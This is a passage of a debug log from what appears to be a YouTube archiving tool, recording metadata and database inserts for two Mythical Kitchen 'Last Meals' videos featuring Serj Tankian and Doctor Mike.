processed. Will check again in 1000ms 20:49:05.803 [debug] Current batch of media processed. Will check again in 1000ms 20:49:06.804 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Serj Tankian is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Serj's Last Meal\n2:05 Filming With Anthony Bourdain\n4:29 1st Course\n5:44 Not A Fan Of Borders\n6:31 The Armenian Genocide & Generational Legacy\n7:47 Luck & Calamity\n9:09 Activist First, Rockstar Second\n10:09 Bad Presidents Make For Good Music\n11:20 Pros & Cons Of The Streaming Era\n12:41 Snipers At The Concert\n14:43 Tell The Truth No Matter What\n15:55 2nd Course\n17:40 Banana Terracotta Pie Surprise\n20:28 Musically Scored Painting\n23:09 Making Sense Of The Senseless\n28:00 3rd Course\n30:55 The Trauma Of Bombing\n32:37 Happiness Vs. Elation\n34:23 The Choice To Have Kids\n36:10 It's The Small Things\n36:46 What Do You Think Happens When You Die?\n38:04 Lightning Round\n40:37 Serj's Last Words & Reading Coffee Fortunes\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2559, "filename" => "/downloads/Last Meals/2024-10-08 Serj Tankian Eats His Last Meal/Serj Tankian Eats His Last Meal [Mo5JVuW4_qk].mp4", "id" => "Mo5JVuW4_qk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Mo5JVuW4_qk", "playlist_index" => 83, "timestamp" => 1728381621, "title" => "Serj Tankian Eats His Last Meal", "upload_date" => "20241008"} 20:49:06.805 [debug] QUERY OK source="sources" db=0.2ms idle=747.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:06.805 [debug] QUERY OK source="sources" db=0.1ms idle=748.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:06.806 [debug] QUERY OK source="media_items" db=0.3ms idle=748.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-08 10:00:21Z], 1] 20:49:06.808 [debug] QUERY OK source="media_items" db=1.5ms idle=748.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Serj Tankian is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Serj's Last Meal\n2:05 Filming With Anthony Bourdain\n4:29 1st Course\n5:44 Not A Fan Of Borders\n6:31 The Armenian Genocide & Generational Legacy\n7:47 Luck & Calamity\n9:09 Activist First, Rockstar Second\n10:09 Bad Presidents Make For Good Music\n11:20 Pros & Cons Of The Streaming Era\n12:41 Snipers At The Concert\n14:43 Tell The Truth No Matter What\n15:55 2nd Course\n17:40 Banana Terracotta Pie Surprise\n20:28 Musically Scored Painting\n23:09 Making Sense Of The Senseless\n28:00 3rd Course\n30:55 The Trauma Of Bombing\n32:37 Happiness Vs. Elation\n34:23 The Choice To Have Kids\n36:10 It's The Small Things\n36:46 What Do You Think Happens When You Die?\n38:04 Lightning Round\n40:37 Serj's Last Words & Reading Coffee Fortunes\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Serj Tankian Eats His Last Meal", "93da4846-2ab7-4c27-b331-dcab7af71816", "https://www.youtube.com/watch?v=Mo5JVuW4_qk", false, "Mo5JVuW4_qk", 2559, false, 83, "/downloads/Last Meals/2024-10-08 Serj Tankian Eats His Last Meal/Serj Tankian Eats His Last Meal [Mo5JVuW4_qk].mp4", false, false, 1, [], 0, ~U[2024-10-08 10:00:21Z], ~U[2026-03-28 00:49:06Z], ~U[2026-03-28 00:49:06Z], "Today, Serj Tankian is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Serj's Last Meal\n2:05 Filming With Anthony Bourdain\n4:29 1st Course\n5:44 Not A Fan Of Borders\n6:31 The Armenian Genocide & Generational Legacy\n7:47 Luck & Calamity\n9:09 Activist First, Rockstar Second\n10:09 Bad Presidents Make For Good Music\n11:20 Pros & Cons Of The Streaming Era\n12:41 Snipers At The Concert\n14:43 Tell The Truth No Matter What\n15:55 2nd Course\n17:40 Banana Terracotta Pie Surprise\n20:28 Musically Scored Painting\n23:09 Making Sense Of The Senseless\n28:00 3rd Course\n30:55 The Trauma Of Bombing\n32:37 Happiness Vs. Elation\n34:23 The Choice To Have Kids\n36:10 It's The Small Things\n36:46 What Do You Think Happens When You Die?\n38:04 Lightning Round\n40:37 Serj's Last Words & Reading Coffee Fortunes\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid (truncated) 20:49:06.808 [debug] QUERY OK source="sources" db=0.2ms idle=646.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:06.808 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:06.809 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [98] 20:49:06.809 [info] Kicking off download for media item #98 (Mo5JVuW4_qk) 20:49:06.810 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [97, 98, ~U[2026-03-28 00:49:06Z], ~U[2026-03-28 00:49:06Z]] 20:49:06.810 [debug] Current batch of media processed. Will check again in 1000ms 20:49:07.811 [debug] Current batch of media processed. Will check again in 1000ms 20:49:08.812 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Doctor Mike eats his last meal.\n\nFollow Doctor Mike: https://www.youtube.com/@DoctorMike\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Doctor Mike's Last Meal\n0:25 How Josh Channeled Doctor Mike\n2:10 Have You Thought About Your Last Meal?\n3:09 How Often Do You Think About Death?\n4:45 1st Course\n5:53 Sweet Treat vs. Meat Treat\n8:22 Omakase Telling Mike's Life Story\n8:40 The Russian\n9:03 A 5-Year Old Pear Scammer\n10:56 The Healer\n13:18 The Fighter\n16:40 The Sexiest Doctor\n18:11 The Ferrari\n19:50 2nd Course\n21:11 Coming to America\n23:03 Costco vs. USSR\n25:23 No Excuses\n26:29 Medical System Turning Partisan\n28:25 Jubilee & Being a Healthy Skeptic\n30:46 Stop Dunking on the Internet\n31:33 3rd Course\n34:46 Losing Mom to Cancer\n37:11 How Medical Staff Behave Around Grief\n38:10 There Are Better Deaths Than Others\n40:30 Medical Science vs. Death Itself\n43:15 If This Happens, Switch Doctors!\n44:35 4th Course\n46:00 Being a Practicing Doctor vs. a Content Creator\n47:09 Miracles\n49:08 What Do You Think Happens When You Die?\n50:48 Lightning Round\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n54:18 Mike's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3305, "filename" => "/downloads/Last Meals/2026-02-10 Doctor Mike Eats His Last Meal/Doctor Mike Eats His Last Meal [XrIdECo9YSA].mp4", "id" => "XrIdECo9YSA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XrIdECo9YSA", "playlist_index" => 84, "timestamp" => 1770721255, "title" => "Doctor Mike Eats His Last Meal", "upload_date" => "20260210"} 20:49:08.813 [debug] QUERY OK source="sources" db=0.1ms idle=755.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:08.813 [debug] QUERY OK source="sources" db=0.1ms idle=756.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:08.814 [debug] QUERY OK source="media_items" db=0.2ms idle=756.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 11:00:55Z], 1] 20:49:08.815 [debug] QUERY OK source="media_items" db=1.0ms idle=756.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Doctor Mike eats his last meal.\n\nFollow Doctor Mike: https://www.youtube.com/@DoctorMike\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Doctor Mike's Last Meal\n0:25 How Josh Channeled Doctor Mike\n2:10 Have You Thought About Your Last Meal?\n3:09 How Often Do You Think About Death?\n4:45 1st Course\n5:53 Sweet Treat vs. Meat Treat\n8:22 Omakase Telling Mike's Life Story\n8:40 The Russian\n9:03 A 5-Year Old Pear Scammer\n10:56 The Healer\n13:18 The Fighter\n16:40 The Sexiest Doctor\n18:11 The Ferrari\n19:50 2nd Course\n21:11 Coming to America\n23:03 Costco vs. USSR\n25:23 No Excuses\n26:29 Medical System Turning Partisan\n28:25 Jubilee & Being a Healthy Skeptic\n30:46 Stop Dunking on the Internet\n31:33 3rd Course\n34:46 Losing Mom to Cancer\n37:11 How Medical Staff Behave Around Grief\n38:10 There Are Better Deaths Than Others\n40:30 Medical Science vs. Death Itself\n43:15 If This Happens, Switch Doctors!\n44:35 4th Course\n46:00 Being a Practicing Doctor vs. a Content Creator\n47:09 Miracles\n49:08 What Do You Think Happens When You Die?\n50:48 Lightning Round\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n54:18 Mike's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Doctor Mike Eats His Last Meal", "c16d36a2-a298-4a8d-892f-260137867d8f", "https://www.youtube.com/watch?v=XrIdECo9YSA", false, "XrIdECo9YSA", 3305, false, 84, "/downloads/Last Meals/2026-02-10 Doctor Mike Eats His Last Meal/Doctor Mike Eats His Last Meal [XrIdECo9YSA].mp4", false, false, 1, [], 0, ~U[2026-02-10 11:00:55Z], ~U[2026-03-28 00:49:08Z], ~U[2026-03-28 00:49:08Z], "Today, Doctor Mike eats his last meal.\n\nFollow Doctor Mike: https://www.youtube.com/@DoctorMike\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Doctor Mike's Last Meal\n0:25 How Josh Channeled Doctor Mike\n2:10 Have You Thought About Your Last Meal?\n3:09 How Often Do You Think About Death?\n4:45 1st Course\n5:53 Sweet Treat vs. Meat Treat\n8:22 Omakase Telling Mike's Life Story\n8:40 The Russian\n9:03 A 5-Year Old Pear Scammer\n10:56 The Healer\n13:18 The Fighter\n16:40 The Sexiest Doctor\n18:11 The Ferrari\n19:50 2nd Course\n21:11 Coming to America\n23:03 Costco vs. USSR\n25:23 No Excuses\n26:29 Medical System Turning Partisan\n28:25 Jubilee & Being a Healthy Skeptic\n30:46 Stop Dunking on the Internet\n31:33 3rd Course\n34:46 Losing Mom to Cancer\n37:11 How Medical Staff Behave Around Grief\n38:10 There Are Better Deaths Than Others\n40:30 Medical Science vs. Death Itself\n43:15 If This Happens, Switch Doctors!\n44:35 4th Course\n46:00 Being a Practicing Doctor vs. a Content Creator\n47:09 Miracles\n49:08 What Do You Think Happens When You Die?\n50:48 Lightning Round\n54:11 What Do You Think Happens When You Die?\n55:33 Lightning Round\n54:18 Mike's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Doctor Mike Eats His Last Meal", "https://www.youtube.com/watch?v=XrIdECo9YSA", "XrIdECo9YSA", 3305, false, "/downloads/Last Meals/2026-02-10 Doctor Mike Eats His Last Meal/Doctor Mike Eats His Last Meal [XrIdECo9YSA].mp4", false, 1, ~U[2026-02-10 11:00:55Z]] 20:49:08.815 [debug] QUERY OK source="sources" db=0.1ms idle=651.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:08.816 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" 